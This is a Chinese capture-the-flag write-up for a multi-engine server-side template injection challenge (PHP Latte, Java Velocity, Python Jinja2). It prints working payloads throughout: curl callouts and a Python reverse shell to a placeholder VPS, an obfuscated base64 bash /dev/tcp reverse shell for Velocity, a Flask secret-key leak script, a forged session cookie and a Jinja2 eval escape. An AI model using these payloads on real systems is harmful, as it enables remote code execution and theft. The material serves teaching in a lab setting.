介绍 本文内容来自于ichunqiu的伽玛实验场之拟态挑战mimic-ssti,借鉴邬江兴院士拟态防御理论设计的mimic-ssti题目,该题目是个考验模板注入的web环境,采用了3种渲染模板,代表了三种单异构体。一般黑客的攻击指令只会由一个异构体进行执行反馈,明确的攻击指令会有明确的反馈结果,但是在这道题中选手的攻击指令必须同时让3个异构体反馈一致的结果,不然在拟态的防御机制中,就会被表决失效。通过这样的设计,让大学生选手了解先进的防御理念,前沿的理论知识和应用场景,以便让更好的防御理念在未来的实战中得到应用。
类似于生物界的拟态防御,在网络空间防御领域中,使用拟态技术可极大的提升黑客攻击的难度。
本题采用了3种模板渲染,渲染的先后顺序分别是php、java、python,如果三者的渲染结果相同就返回内容。(php的模板渲染是latte-2.10.4,java的模板渲染是velocity 1.7,python版本为python3.6.9。)
参考原writeup【拟态挑战WP】2021年天津市大学生线上初赛mimic-ssti ,原writeup步骤不完整,故重新补充记录
Exploitation mimic指的是“拟态”,ssti指的是“服务端模板注入攻击”。再由题目描述可知,应该是要利用三种编程语言的模板特性进行利用。
接下来我们分别尝试3个语言的SSTI的漏洞利用,当试到PHP的ssti payload时,发现可以直接把数据外带
1 2 3 4 5 6 7 8 9 10 11 12 GET /?username={system("curl+http%3a//vpsip%3a2333/" )} HTTP/1.1 root@vsdfva:~ Ncat: Version 7.70 ( https://nmap.org/ncat ) Ncat: Listening on :::2333 Ncat: Listening on 0.0.0.0:2333 Ncat: Connection from 39.105.23.123. Ncat: Connection from 39.105.23.123:26634. GET / HTTP/1.1 Host: vpsip:2333 User-Agent: curl/7.58.0 Accept: */*
所以我们就可以利用PHP模板渲染这里作为突破口,先反弹一个shell,发现根目录下面有三个flag(只有三个flag都获取到,才可以拼接出完整的flag),当然我们现在就只能读取php_flag
首先创建一个python reverse shell脚本文件rev.py,放在自己的vps上
1 python3 -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('vpsip',2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
然后在vps上开启一个SimpleHTTPServer服务
1 python -m SimpleHTTPServer 81
然后执行下面三个请求反弹shell到自己的vps上
1 2 3 ?username={system('curl -L http://vpsip:81/rev.py -o /tmp/rev.py' )} ?username={system('chmod 777 /tmp/rev.py' )} ?username={system('/tmp/rev.py' )}
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 root@vsdfva:~ Ncat: Version 7.70 ( https://nmap.org/ncat ) Ncat: Listening on :::2333 Ncat: Listening on 0.0.0.0:2333 Ncat: Connection from 39.105.23.123. Ncat: Connection from 39.105.23.123:33464. bash: cannot set terminal process group (23): Inappropriate ioctl for device bash: no job control in this shell php@engine-1:/web/php$ id id uid=1000(php) gid=1000(php) groups =1000(php) php@engine-1:/web/php$ whoami whoami php php@engine-1:/web/php$ cd cd php@engine-1:/$ ls ls bin boot dev etc home java_flag lib lib64 media mnt opt php_flag proc python_flag root run sbin srv sys tmp usr var web php@engine-1:/$ cat php_flag cat php_flagflag{bae9466f-
成功获取到第一个php flag
剩下的目标就是确定其他两个模板了,先从Java下手,把jar文件下载下来
由于Python的运行目录是没有权限写入的(不能通过复制到静态目录进行下载),所以现在有多个思路,第一个思路是socket代理进去,在php的目录写入一句话木马,蚁剑就可以直接下载了,思路二则是通过curl 命令的文件上传把数据带出来。当然也可以利用php、python和java来进行文件传输。以下采用思路二的方式:
1 2 import os os.system("scp /web/java/Hello_web.jar root@vps:PATH" )
然后通过Java的反汇编工具jd-gui打开即可,发现了黑名单,然后针对黑名单进行绕过
了解更多Java Velocity SSTI,参考下列文章,讲的很详细:
以下[IP]填入自己VPS的IP以接收shell
1 2 3 4 5 6 7 8 9 10 11 ┌──(root💀kali)-[~] └─ bash -i >&/dev/tcp/[IP]/2334 0>&1 $e .getClass().forName($j .concat($a ).concat($R )).getDeclaredMethod($g .concat($t ),null).invoke(null,null).exec ("bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwL1tJUF0vMjMzNCAwPiYx}|{base64,-d}|{bash,-i}" )
上述绕过的payload由以下的原始payload变形而来
1 2 $e .getClass().forName("java.lang.Runtime" ).getMethod("getRuntime" ,null).invoke(null,null).exec ("id" )
然后url encode,再使用%0a添加换行符之后,变为下述的payload,然后放入burp中发包
1 %23set($e %3d"e" )%0a%23set($j %3d"jav" )%0a%23set($a %3d"a.lang.Ru" )%0a%23set($R %3d"ntime" )%0a%23set($g %3d"getR" )%0a%23set($t %3d"untime" )%0a$e .getClass().forName($j .concat($a ).concat($R )).getDeclaredMethod($g .concat($t ),null).invoke(null,null).exec ("bash+-c+{echo,YmFzaCAtaSA+Ji9kZXYvdGNwL1tJUF0vMjMzNCAwPiYx}|{base64,-d}|{bash,-i}" )
1 GET /?username=%23set($e %3d"e" )%0a%23set($j %3d"jav" )%0a%23set($a %3d"a.lang.Ru" )%0a%23set($R %3d"ntime" )%0a%23set($g %3d"getR" )%0a%23set($t %3d"untime" )%0a$e .getClass().forName($j .concat($a ).concat($R )).getDeclaredMethod($g .concat($t ),null).invoke(null,null).exec ("bash+-c+{echo,YmFzaCAtaSA+Ji9kZXYvdGNwL1tJUF0vMjMzNCAwPiYx}|{base64,-d}|{bash,-i}" ) HTTP/1.1
然后vps接收到一个java权限的shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 root@vsdfva:~ Ncat: Version 7.70 ( https://nmap.org/ncat ) Ncat: Listening on :::2335 Ncat: Listening on 0.0.0.0:2335 Ncat: Connection from 39.105.23.123. Ncat: Connection from 39.105.23.123:5189. bash: cannot set terminal process group (20): Inappropriate ioctl for device bash: no job control in this shell java@engine-1:/web/java$ id id uid=1001(java) gid=1001(java) groups =1001(java) java@engine-1:/web/java$ whoami whoami java java@engine-1:/web/java$ cd cd java@engine-1:/$ ls ls bin boot dev etc home java_flag lib lib64 media mnt opt php_flag proc python_flag root run sbin srv sys tmp usr var web java@engine-1:/$ cat java_flag cat java_flag-286016a38d37}
并获取到java flag
然后读取app.py,可以发现SECRET_KEY是随机的(所以需要想办法得到它),而且过滤了数字和字符串拼接,不能拼接字符串,那就只有得到完整的字符串才能ssti,所以可以利用伪造session来进行构造任意字符串。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 php@engine-1:/web/python$ cat app.py cat app.pyfrom flask import Flask, render_template, request, render_template_string import requests import uuid app = Flask(__name__) SECRET_KEY = str(uuid.uuid4())[:12] numbers_str = [str(x) for x in range(10)] black_list = ["class" , "__" , "'" , "\"" , "~" , "+" , "globals" , "request" , "{%" , "true" , "false" , 'lipsum' , 'url_for' , 'get_flashed_messages' , 'range' , 'dict' , 'joiner' ] black_list += numbers_str app.config.update(dict( SECRET_KEY=SECRET_KEY, )) def waf(name): for x in black_list: if x in name.lower(): return True return False @app.route('/' ) def index(): name = request.args.get("username" ) if name is not None: text1 = requests.get("http://127.0.0.1:7410/" , params={"username" : name}).text text2 = requests.get("http://127.0.0.1:8080/" , params={"username" : name}).text if waf(name): return render_template('404.html' ), 404 render_str = render_template_string(name) if text1 == render_str and text2 == render_str: return render_str else : return render_template('404.html' ), 404 render_str = render_template_string(name) return render_str return render_template('index.html' ) @app.errorhandler(404) def page_not_found(e): return render_template('404.html' ), 404 if __name__ == '__main__' : app.run("0.0.0.0" , 8888)
数字可以通过config.JSONIFY_MIMETYPE.index(config.APPLICATION_ROOT)和config.JSON_SORT_KEYS进行加减运算得到数字,因为python里面True-False这种得到的结果是1
1 2 3 4 5 6 7 8 9 ┌──(root💀kali)-[~] └─ Python 3.9.9 (main, Dec 16 2021, 23:13:29) [GCC 11.2.0] on linux Type "help" , "copyright" , "credits" or "license" for more information. >>> True - False 1 >>> 14 - True 13
现在第一步就是通过类似“测信道”攻击的方式,读取flask的key,从而伪造session,所以我们可以通过伪造php和java的服务端来一个个字符的比较得到最终的key
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php //leak.php if (!is_file("tmp_code" )){ file_put_contents("tmp_code" ,"-" ); } $code ="-0123456789abcdef" ;if (strpos($_GET ["username" ],'code' ) !== false ){ file_put_contents("code" ,$_GET ["username" ][0],FILE_APPEND); file_put_contents("tmp_code" ,"-" ); }else { $tmp_code = file_get_contents("tmp_code" ); echo $tmp_code ; file_put_contents("tmp_code" ,$code [(strpos($code ,$tmp_code )+1)%17]); } ?>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import requests url="http://127.0.0.1:8888/" code="-0123456789abcdef" f="" for x in range(12): cut = (11-x)*'-config.JSON_SORT_KEYS' leak_temp = "{{config.SECRET_KEY[config.JSONIFY_MIMETYPE.index(config.APPLICATION_ROOT)" +cut +"]}}" for y in code: text=requests.get(url,params={"username" :leak_temp}).text if ">404<" in text: pass else : requests.get(url,params={"username" :y+"code" }) f+=y print (f) break
首先kill原来的进程
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 php@engine-1:/$ ps -ef ps -ef UID PID PPID C STIME TTY TIME CMD root 1 0 0 06:10 pts/0 00:00:00 /bin/bash /start.sh root 14 1 0 06:10 pts/0 00:00:00 /bin/bash /start.sh root 15 1 0 06:10 pts/0 00:00:00 /bin/bash /start.sh root 16 1 0 06:10 pts/0 00:00:00 su - java -c cd /web/java/ && /web/java/jdk1.8.0_202/bin/java -jar /web/java/Hello_web.jar root 17 1 0 06:10 pts/0 00:00:00 tail -f /dev/null root 18 15 0 06:10 pts/0 00:00:00 su - python -c python3 /web/python/app.py root 19 14 0 06:10 pts/0 00:00:00 su - php -c cd /web/php/ && php -S 0.0.0.0:7410 java 20 16 0 06:10 ? 00:00:00 -su -c cd /web/java/ && /web/java/jdk1.8.0_202/bin/java -jar /web/java/Hello_web.jar python 21 18 0 06:10 ? 00:00:00 -su -c python3 /web/python/app.py php 22 19 0 06:10 ? 00:00:00 -su -c cd /web/php/ && php -S 0.0.0.0:7410 python 29 21 0 06:10 ? 00:00:00 python3 /web/python/app.py java 30 20 0 06:10 ? 00:00:09 /web/java/jdk1.8.0_202/bin/java -jar /web/java/Hello_web.jar php 31 22 0 06:10 ? 00:00:00 php -S 0.0.0.0:7410 java 109 30 0 06:11 ? 00:00:00 bash -c {echo ,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzQ1LjMyLjEzOS4yMzYvMjMzNSAwPiYx}|{base64 ,-d}|{bash,-i} java 112 109 0 06:11 ? 00:00:00 bash -i java 115 112 0 06:11 ? 00:00:00 /bin/bash -i php 184 31 0 06:15 ? 00:00:00 sh -c /tmp/rev.py php 185 184 0 06:15 ? 00:00:00 /bin/sh /tmp/rev.py php 186 185 0 06:15 ? 00:00:00 python3 -c import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('vpsip',2333 ));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash' ,'-i' ]); php 187 186 0 06:15 ? 00:00:00 /bin/bash -i php 199 187 0 06:25 ? 00:00:00 ps -ef php@engine-1:/$ kill 31 kill 31
然后再退出php的shell,不然后面7410端口监听不上,再kill掉8080端口的2个/web/java/ && /web/java/jdk1.8.0_202/bin/java -jar /web/java/Hello_web.jar服务
然后把php文件写入到tmp下面,然后运行7410和8080的php的web服务
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 java@engine-1:/tmp$ mkdir leakp mkdir leakpjava@engine-1:/tmp$ cd leakp cd leakpjava@engine-1:/tmp/leakp$ echo PD9waHAKLy9sZWFrLnBocAppZighaXNfZmlsZSgidG1wX2NvZGUiKSl7CiAgIGZpbGVfcHV0X2NvbnRlbnRzKCJ0bXBfY29kZSIsIi0iKTsKfQokY29kZT0iLTAxMjM0NTY3ODlhYmNkZWYiOwppZihzdHJwb3MoJF9HRVRbInVzZXJuYW1lIl0sJ2NvZGUnKSAhPT0gZmFsc2UpewogICBmaWxlX3B1dF9jb250ZW50cygiY29kZSIsJF9HRVRbInVzZXJuYW1lIl1bMF0sRklMRV9BUFBFTkQpOwogICBmaWxlX3B1dF9jb250ZW50cygidG1wX2NvZGUiLCItIik7Cn1lbHNlewogICAkdG1wX2NvZGUgPSBmaWxlX2dldF9jb250ZW50cygidG1wX2NvZGUiKTsKICAgZWNobyAkdG1wX2NvZGU7CiAgIGZpbGVfcHV0X2NvbnRlbnRzKCJ0bXBfY29kZSIsJGNvZGVbKHN0cnBvcygkY29kZSwkdG1wX2NvZGUpKzEpJTE3XSk7Cn0KPz4=|base64 -d > index.php TE3XSk7Cn0KPz4=|base64 -d > index.phpNvZGVbKHN0cnBvcygkY29kZSwkdG1wX2NvZGUpKzEpJT java@engine-1:/tmp/leakp$ mkdir leak mkdir leakjava@engine-1:/tmp/leakp$ cp index.php leak/ cp index.php leak/java@engine-1:/tmp/leakp$ php -S 0.0.0.0:7410 & php -S 0.0.0.0:7410 & [1] 161 java@engine-1:/tmp/leakp$ cd leak cd leakjava@engine-1:/tmp/leakp/leak$ php -S 0.0.0.0:8080 & php -S 0.0.0.0:8080 & [2] 162
在java的shell中运行leak.py得到key
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 java@engine-1:/tmp$ echo aW1wb3J0IHJlcXVlc3RzCmltcG9ydCB0aW1lCgojbGVhay5weQp1cmw9Imh0dHA6Ly8xMjcuMC4wLjE6ODg4OC8iCmNvZGU9Ii0wMTIzNDU2Nzg5YWJjZGVmIgpmPSIiCgpmb3IgeCBpbiByYW5nZSgxMik6CiAgICBjdXQgPSAoMTEteCkqJy1jb25maWcuSlNPTl9TT1JUX0tFWVMnCiAgICBsZWFrX3RlbXAgPSAie3tjb25maWcuU0VDUkVUX0tFWVtjb25maWcuSlNPTklGWV9NSU1FVFlQRS5pbmRleChjb25maWcuQVBQTElDQVRJT05fUk9PVCkiK2N1dCsiXX19IgogICAgZm9yIHkgaW4gY29kZToKICAgICAgICAjdGltZS5zbGVlcCgyKQogICAgICAgIHRleHQ9cmVxdWVzdHMuZ2V0KHVybCxwYXJhbXM9eyJ1c2VybmFtZSI6bGVha190ZW1wfSx2ZXJpZnk9RmFsc2UpLnRleHQKICAgICAgICAjcHJpbnQodGV4dCkKICAgICAgICBpZiAiPjQwNDwiIGluIHRleHQ6CiAgICAgICAgICAgIHBhc3MKICAgICAgICBlbHNlOgogICAgICAgICAgICAjdGltZS5zbGVlcCgwLjAxKQogICAgICAgICAgICByZXF1ZXN0cy5nZXQodXJsLHBhcmFtcz17InVzZXJuYW1lIjp5KyJjb2RlIn0sdmVyaWZ5PUZhbHNlKQogICAgICAgICAgICBmKz15CiAgICAgICAgICAgIHByaW50KGYpCiAgICAgICAgICAgIGJyZWFr|base64 -d > leak.py 5CiAgICAgICAgICAgIHByaW50KGYpCiAgICAgICAgICAgIGJyZWFr|base64 -d > leak.pyICBmKz15 java@engine-1:/tmp$ python3 leak.py 0 05 05a 05a8 05a89 05a894 05a8942 05a89427 05a89427- 05a89427-b 05a89427-b1 05a89427-b16
然后在java的shell中,写脚本伪造session
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from flask import Flask from flask.sessions import SecureCookieSessionInterface import base64 import pickle app = Flask(__name__) app.secret_key = "05a89427-b16" session_serializer = SecureCookieSessionInterface().get_signing_serializer(app) def index(): a={"cs" :"__class__" ,"bs" :"__base__" ,"sub" :"__subclasses__" ,"num" :190,"it" :"__init__" ,"gb" :"__globals__" ,"bt" :"__builtins__" ,"el" :"eval" ,"cmd" :"__import__('os').popen('cat /python_flag > /tmp/python_flag').read()" } print (session_serializer.dumps(a)) index()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 java@engine-1:/tmp$ echo ZnJvbSBmbGFzayBpbXBvcnQgRmxhc2sKZnJvbSBmbGFzay5zZXNzaW9ucyBpbXBvcnQgU2VjdXJlQ29va2llU2Vzc2lvbkludGVyZmFjZQppbXBvcnQgYmFzZTY0CmltcG9ydCBwaWNrbGUKCmFwcCA9IEZsYXNrKF9fbmFtZV9fKQphcHAuc2VjcmV0X2tleSA9ICIwNWE4OTQyNy1iMTYiCgpzZXNzaW9uX3NlcmlhbGl6ZXIgPSBTZWN1cmVDb29raWVTZXNzaW9uSW50ZXJmYWNlKCkuZ2V0X3NpZ25pbmdfc2VyaWFsaXplcihhcHApCgpkZWYgaW5kZXgoKToKICAgYT17ImNzIjoiX19jbGFzc19fIiwiYnMiOiJfX2Jhc2VfXyIsInN1YiI6Il9fc3ViY2xhc3Nlc19fIiwibnVtIjoxOTAsIml0IjoiX19pbml0X18iLCJnYiI6Il9fZ2xvYmFsc19fIiwiYnQiOiJfX2J1aWx0aW5zX18iLCJlbCI6ImV2YWwiLCJjbWQiOiJfX2ltcG9ydF9fKCdvcycpLnBvcGVuKCdjYXQgL3B5dGhvbl9mbGFnID4gL3RtcC9weXRob25fZmxhZycpLnJlYWQoKSJ9CiAgIHByaW50KHNlc3Npb25fc2VyaWFsaXplci5kdW1wcyhhKSkKCmluZGV4KCk=|base64 -d > sessions.py =|base64 -d > sessions.pyaW50KHNlc3Npb25fc2VyaWFsaXplci5kdW1wcyhhKSkKCmluZGV4KCk= java@engine-1:/tmp$ python3 sessions.py .eJxNjksOgzAMRK-CvAEkVNplWfQqlhPSNJLzETFIVdW7NySbrux5Ho_9AZVhAURF2SDCBEqa3h2LC7ky7dcKnU9xE8Shj7kfLykmE4Zek3RzessrBnwy2e7RzeLTPyrmzdA6jGdYO6iZcks3XIA5iEtvVR1ajoq4jV17yAUnVYfdw3K7XyfIe3OXWtPMufD9AWlxRE4.YeUSkg.eQa-eOVhzeIDLVP7JoCIx8MbjWw java@engine-1:/tmp$ ls ls hsperfdata_java leak.py leak.pyICBmKz15 leakp rev.py sessions.py sessions.pyaW50KHNlc3Npb25fc2VyaWFsaXplci5kdW1wcyhhKSkKCmluZGV4KCk= tomcat.6008644274358516175.8080
然后在请求头中添加session
1 Cookie: session=.eJxNjksOgzAMRK-CvAEkVNplWfQqlhPSNJLzETFIVdW7NySbrux5Ho_9AZVhAURF2SDCBEqa3h2LC7ky7dcKnU9xE8Shj7kfLykmE4Zek3RzessrBnwy2e7RzeLTPyrmzdA6jGdYO6iZcks3XIA5iEtvVR1ajoq4jV17yAUnVYfdw3K7XyfIe3OXWtPMufD9AWlxRE4.YeUSkg.eQa-eOVhzeIDLVP7JoCIx8MbjWw
构造python的poc后,使用burp发包
1 {{(cycler[session.cs]|attr(session.bs))[session.sub]()[session.num][session.it][session.gb][session.bt][session.el](session.cmd)}}
1 2 3 4 5 6 7 8 9 10 GET /?username={{(cycler[session.cs]|attr(session.bs))[session.sub]()[session.num][session.it][session.gb][session.bt][session.el](session.cmd)}} HTTP/1.1 Host: eci-2ze1odj66lcxmtnazvds.cloudeci1.ichunqiu.com:8888 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Referer: http://eci-2ze1odj66lcxmtnazvds.cloudeci1.ichunqiu.com:8888/ Cookie: session=.eJxNjksOgzAMRK-CvAEkVNplWfQqlhPSNJLzETFIVdW7NySbrux5Ho_9AZVhAURF2SDCBEqa3h2LC7ky7dcKnU9xE8Shj7kfLykmE4Zek3RzessrBnwy2e7RzeLTPyrmzdA6jGdYO6iZcks3XIA5iEtvVR1ajoq4jV17yAUnVYfdw3K7XyfIe3OXWtPMufD9AWlxRE4.YeUSkg.eQa-eOVhzeIDLVP7JoCIx8MbjWw Upgrade-Insecure-Requests: 1
现在可以通过java的shell读取python_flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 java@engine-1:/tmp$ ls -la ls -latotal 36 drwxrwxrwt 1 root root 4096 Jan 17 06:58 . drwxr-xr-x 1 root root 4096 Jan 17 06:30 .. drwxr-xr-x 2 java java 4096 Jan 17 06:36 hsperfdata_java -rwxrwxrwx 1 java java 621 Jan 17 06:49 leak.py -rw-rw-r-- 1 java java 0 Jan 17 06:46 leak.pyICBmKz15 drwxrwxr-x 3 java java 4096 Jan 17 06:46 leakp -rw-rw-r-- 1 python python 15 Jan 17 06:58 python_flag -rwxrwxrwx 1 php php 233 Jan 17 06:32 rev.py -rw-rw-r-- 1 java java 521 Jan 17 06:54 sessions.py -rw-rw-r-- 1 java java 0 Jan 17 06:53 sessions.pyaW50KHNlc3Npb25fc2VyaWFsaXplci5kdW1wcyhhKSkKCmluZGV4KCk= drwxrwxr-x 3 java java 4096 Jan 17 06:31 tomcat.6008644274358516175.8080 java@engine-1:/tmp$ cat python_flag cat python_flag480b-45a9-9e51
将三个flag拼接起来可以得到最后的flag
1 flag{bae9466f-480b-45a9-9e51-286016a38d37}